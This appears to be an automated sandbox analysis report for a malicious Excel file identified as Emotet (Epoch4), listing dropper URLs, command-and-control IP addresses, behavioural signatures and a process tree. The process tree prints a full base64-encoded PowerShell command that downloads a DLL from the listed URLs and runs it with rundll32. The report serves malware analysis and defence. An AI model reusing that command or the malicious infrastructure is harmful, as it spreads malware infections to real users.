Analysis

  • max time kernel
    123s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    25/01/2022, 15:59

General

  • Target
    tmpdu3mw3oh.xls
  • Size 144KB
  • Sample220125-te4t8safe4
  • SHA256 ac962dd58704f32e706fd33bda52cc25c80baba3290d10ef8795484afa551d4b
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/

  • exe.dropper

    http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/

  • exe.dropper

    http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/

  • exe.dropper

    http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/

  • exe.dropper

    http://bimesarayenovin.ir/wp-admin/z464/

  • exe.dropper

    http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/

  • exe.dropper

    http://gardeningfilm.com/wp-content/Ef/

  • exe.dropper

    http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/

  • exe.dropper

    https://100lamp.com.ua:443/sale/a/

  • exe.dropper

    http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.77.82.125:443

  • 69.197.160.180:8080

  • 103.75.201.2:443

  • 173.212.193.249:8080

  • 45.118.135.203:7080

  • 45.118.115.99:8080

  • 162.243.175.63:443

  • 192.254.71.210:443

  • 50.116.54.215:443

  • 51.38.71.0:443

  • 138.185.72.26:8080

  • 131.100.24.231:80

  • 212.237.5.209:443

  • 209.59.138.75:7080

  • 176.104.106.96:8080

  • 107.182.225.142:8080

  • 45.142.114.231:8080

  • 212.237.56.116:7080

  • 207.38.84.195:8080

  • 158.69.222.101:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpdu3mw3oh.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3728
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:436
        • C:\windows\syswow64\rundll32.exe
          "C:\windows\syswow64\rundll32.exe" c:\programdata\1197436551.dll,f309287548
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:692
          • C:\Windows\SysWOW64\rundll32.exe
            C:\Windows\SysWOW64\rundll32.exe "c:\programdata\1197436551.dll",DllRegisterServer
            5⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:3008
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgcnbmdxceaobrfe\vxdqztlpoy.lkh",qKDTtpLwVcn
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2208
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kgcnbmdxceaobrfe\vxdqztlpoy.lkh",DllRegisterServer
                7⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                PID:1492

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/436-324-0x0000020AF6EC0000-0x0000020AF6EE2000-memory.dmp

        memory/436-339-0x0000020AF6F46000-0x0000020AF6F48000-memory.dmp

        memory/436-327-0x0000020AF7230000-0x0000020AF72A6000-memory.dmp

        memory/436-328-0x0000020AF6F40000-0x0000020AF6F42000-memory.dmp

        memory/436-329-0x0000020AF6F43000-0x0000020AF6F45000-memory.dmp

        memory/692-353-0x0000000004DA0000-0x0000000004DC5000-memory.dmp

        memory/1492-372-0x0000000004310000-0x0000000004335000-memory.dmp

        memory/1492-374-0x0000000004410000-0x0000000004435000-memory.dmp

        memory/2208-370-0x0000000002E70000-0x0000000002E95000-memory.dmp

        memory/3008-364-0x00000000003D0000-0x00000000003F5000-memory.dmp

        memory/3008-366-0x0000000000400000-0x0000000000425000-memory.dmp

        memory/3008-369-0x0000000000990000-0x00000000009B5000-memory.dmp

        memory/3008-362-0x00000000003A0000-0x00000000003C5000-memory.dmp

        memory/3008-360-0x0000000000340000-0x0000000000365000-memory.dmp

        memory/3008-358-0x0000000000310000-0x0000000000335000-memory.dmp

        memory/3728-121-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-128-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

        memory/3728-115-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-287-0x00000171254F0000-0x00000171254F4000-memory.dmp

        memory/3728-118-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-129-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

        memory/3728-117-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-116-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-439-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-440-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-441-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

        memory/3728-442-0x00007FFF65860000-0x00007FFF65870000-memory.dmp